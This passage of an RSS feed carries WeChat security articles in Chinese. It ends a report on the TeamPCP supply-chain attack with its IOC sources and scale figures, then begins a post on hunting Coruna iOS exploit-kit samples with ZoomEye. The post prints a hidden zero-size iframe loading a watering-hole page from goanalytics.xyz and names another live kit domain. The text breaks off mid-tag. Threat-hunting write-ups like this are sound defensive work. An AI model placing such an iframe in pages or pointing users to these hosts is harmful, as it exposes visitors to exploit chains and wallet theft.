UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aqua-bot</span></code><span leaf=""> 横向移动：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aquasecurity/tfsec</span></code><p><span leaf=""> - 注入恶意工作流窃取密钥</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aquasecurity/traceeshark</span></code><p><span leaf=""> - 注入恶意工作流窃取密钥</span></p></li><li><p><span leaf="">44 个内部仓库在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aquasec-com</span></code><span leaf=""> GitHub 组织被攻击者篡改名称前缀为 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tpcp-docs-</span></code><span leaf="">，公开暴露内部资产</span></p></li></ul><h2 data-line="318" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🌐 社区响应</span></h2><p data-line="320" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">很多项目已经采取行动，包括禁用 Trivy 扫描直到问题解决：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">KNMI/adaguc-server</span></strong><p><span leaf="">: <a class="wx_topic_link" topic-id="mn6466ou-m6oak7" style="color: #576B95 !important;" data-topic="1" data-recommend="">#665</a> - 暂时禁用 Trivy</span></p></li><li><strong><span leaf="">crazy-max/ghaction-container-scan</span></strong><p><span leaf="">: <a class="wx_topic_link" topic-id="mn6466ou-9gh3db" style="color: #576B95 !important;" data-topic="1" data-recommend="">#240</a> - 发布重要安全公告</span></p></li><li><strong><span leaf="">NousResearch/hermes-agent</span></strong><p><span leaf="">: <a class="wx_topic_link" topic-id="mn6466ou-dlmn1t" style="color: #576B95 !important;" data-topic="1" data-recommend="">#2791</a> - 报告供应链攻击；Docker 构建因 litellm 被隔离而失败</span></p></li><li><strong><span leaf="">browser-use/browser-use</span></strong><p><span leaf="">: <a class="wx_topic_link" topic-id="mn6466ou-zjkx2o" style="color: #576B95 !important;" data-topic="1" data-recommend="">#4505</a> - CLI 安装脚本拉取恶意 litellm 影响所有用户</span></p></li><li><strong><span leaf="">williamzujkowski</span></strong><p><span leaf=""> 多个项目: 更新所有 GitHub Actions 使用 SHA 固定</span></p></li></ul><h2 data-line="328" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">📚 第三方情报资源</span></h2><p data-line="330" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">社区已经快速整理了 IOC 和威胁情报：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">项目</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">链接</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">内容</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">stamparm/maltrail</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">trails/static/malware/teampcp.txt</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">IOC 威胁追踪</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">nomi-sec/PoC-in-GitHub</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026/CVE-2026-33634.json</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">CVE 编号条目</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">XiaomingX/data-cve-poc-py-v1</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">FINAL_TeamPCP_IOC_25Mar2026.csv</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">完整 IOC CSV</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">iocradar0-netizen/IOCs</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">threat_actors/APTsV2/TeamPCP/iocs.txt</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">威胁情报 IOC</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Tencent/AI-Infra-Guard</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">data/vuln/litellm/SUPPLY-CHAIN-2025-LITELLM.yaml</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">AI 基础设施防护规则</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">jfrog/research</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">post/litellm-compromised-teampcp.md</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">JFrog 研究分析</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">wiz-sec-public/SITF</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">sample-flows/teampcp-campaign.json</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Wiz 样本流数据</span></p></td></tr></tbody></table><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="344" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">📈 攻击规模统计</span></h2><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">维度</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">数量</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">受影响 GitHub 组织</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">3+ (Aqua Security, Checkmarx, BerriAI)</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">受影响 npm 包</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">45+</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">受影响 Trivy 生态组件</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">4 个</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">暴露时间最长</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">12 小时 (trivy-action)</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">最快传播</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">&lt;60 秒 (npm CanisterWorm)</span></p></td></tr></tbody></table><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p data-line="356" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">报告生成时间</span></strong><span leaf="">: 2026-03-25</span><span leaf=""><br/></span><strong><span leaf="">分析来源</span></strong><span leaf="">:</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">TeamPCP 攻击时间线分析 (ramimac.me)</span></p></li><li><p><span leaf="">GitHub 搜索公开数据</span></p></li><li><p><span leaf="">官方安全公告 </span><strong><span leaf="">关联事件</span></strong><span leaf="">: LiteLLM PyPI 供应链攻击 <a class="wx_topic_link" topic-id="mn6466ou-d0chfu" style="color: #576B95 !important;" data-topic="1" data-recommend="">#24518</a></span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a7c1ac65&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484502%26idx%3D1%26sn%3Dd008f35b2395766c94e37d689d1e13c0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 25 Mar 2026 22:10:00 +0800</pubDate>
    </item>
    <item>
      <title>使用Zoomeye 和 AiPy 捕获 Coruna 样本</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484497&amp;idx=1&amp;sn=0b609734e0cd791e816729101d7208ea</link>
      <description>原本这个应该是放在《AI Agent 下半场》文中的案例，但是考虑到读者可能不是安全相关的，而且可能影响文章整</description>
      <content:encoded><![CDATA[<p>原创 <span>heige</span> <span>2026-03-11 22:29</span> <span style="display: inline-block;">美国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2008ad8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FxTZfvDhkzLtC2VCsL667HunybQ3MASP1QmeSFNb2sk3u3wyxiaGhwlYZ0qjr7GSP7kOVyzuXXr4V75TzG3o5ibQH7smib7NqwxWrp4ibo41Im04%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000846" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c7b94919&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLvyetvhK0c7iaA7bUWu3enwb3HmRWTV7WgicQCNCDC5eB53gLydx19HvVHicCE4mzMnjfUHNsTPIIslccFMNIIbZAUPzkBeicJdxgc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">原本这个应该是放在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484484&amp;idx=1&amp;sn=f2074c8b6895179bbcc21bb5db71b712&amp;scene=21#wechat_redirect" textvalue="《AI Agent 下半场》" data-itemshowtype="0" linktype="text" data-linktype="2">《AI Agent 下半场》</a>文中的案例，但是考虑到读者可能不是安全相关的，而且可能影响文章整体观点表达，所以就单独记录一下。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Coruna</span></span></p><p><span leaf="">Google云在March 4, 2026发布了一篇 blog 《Coruna: The Mysterious Journey of a Powerful iOS Exploit Kit》</span></p><blockquote><p><span leaf=""><a href="https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit" target="_blank">https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit</a></span></p></blockquote><p><span leaf="">文章主要解释Google Threat Intelligence Group (GTIG)发现了一个名为“Coruna” 针对 针对运行 iOS 13.0 版本（2019 年 9 月发布）至 17.2.1 版本（2023 年 12 月发布）的 iPhone  水坑攻击套件包，里面包含了五条完整的 iOS 漏洞链和共 23 个漏洞利用。</span></p><p><span leaf="">我开始看到这个时候其实兴趣不是很大的，因为这些都是 nday 了，当然按之前折腾的经验来看，这个 exploit-kit 的开发也是一个比较大的工程的，当然这种武器模式，跟 0day 的武器化模式可以说是截然不同的路线，毕竟要全覆盖并适配那么多 nday 漏洞，而且要求是 full chain。</span></p><p><span leaf="">所以能开发出这种项目的也不会是个简单的角色，从 Google 的文章也有提到，GTIG最早在2025 年发现被用于大毛组织黑二毛的行动中，但是最近这次主要是发现被黑产广泛使用，现在还可以找到不少在线的部署。</span></p><p><span leaf="">这个让我想起了我们之前发现过很多次的 0day 漏洞从 “APT” 转为 “黑产”的路子，比如 </span></p><blockquote><p><span leaf=""><a href="https://paper.seebug.org/695/" target="_blank">https://paper.seebug.org/695/</a></span></p></blockquote><p><span leaf="">典型的 0day “堕落3 阶段”，武器化的东西看起来也这样！</span></p><p><span leaf="">只是我比较奇怪的是，这么多年过去了这种水坑攻击的 nday 武器真的有很大的用处吗？在 IE 时代倒是可以通过游戏等来闭环，黑产这个可能是想通过 Web3来实现“商业”闭环，从 Google 的文章里看确实是这样瞄准的还是数字钱包</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Hunting</span></span></p><p><span leaf="">Google 的文章发布后，看到国内社区都很关注这个玩意，很多人都在找样本，其实非常简单，你只要 ZoomEye 上搜一下就行，在 Google 的文章里发布的 ICOs 里的 link：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000839" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=afa1a69e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLuMia8A3qxnEOllFCricjGHVCpj0wdByWghDN3ZiaSyatictkV8VXCOSzdlOs3tj5k3lydYofk0EwV4ZpHTwL9bjStYn9jH9eCJBPM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">有很多，简单滑动下发现/88k4ez/group.html 这个用的比较多，而且这个88k4ez很明显的特征，所以你就直接搜索 /88k4ez/group.html 就行了</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000840" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4151c52d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLtUJWZvnNN8olJultD8D7qo9xEpdEicppFG8bIuR9ciaJKibrIg6XF1icyOXFosWjTNFn1TYsugtMj6DpwHyjxO1fqwdyXpW56tniaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""> 简单就找一个：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">iframe</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">src</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;<a href="http://goanalytics.xyz/88k4ez/group.html" target="_blank">http://goanalytics.xyz/88k4ez/group.html</a>&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">style</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;position: fixed;top:0;width:0;height:0;left:-1000px;border:0&#34;</span></span><span class="code-snippet__tag">&gt;&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">iframe</span></span><span class="code-snippet__tag">&gt;</span></span></code></pre></p><p><span leaf="">典型的水坑～ ，不过发现这个地址已经在 Google 的文章里 ICOs 列表里，毫无疑问，测试下好像要几个不在线了 ...</span></p><p><span leaf="">所以我就换了个 &#34;tuiliu/group.html&#34; 搜索找到 trxusdt.xyz 这个地址在 Google 的文章里并没有覆盖，没错，他还在线。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000841" data-s="300,640" type="block" data-type="png" 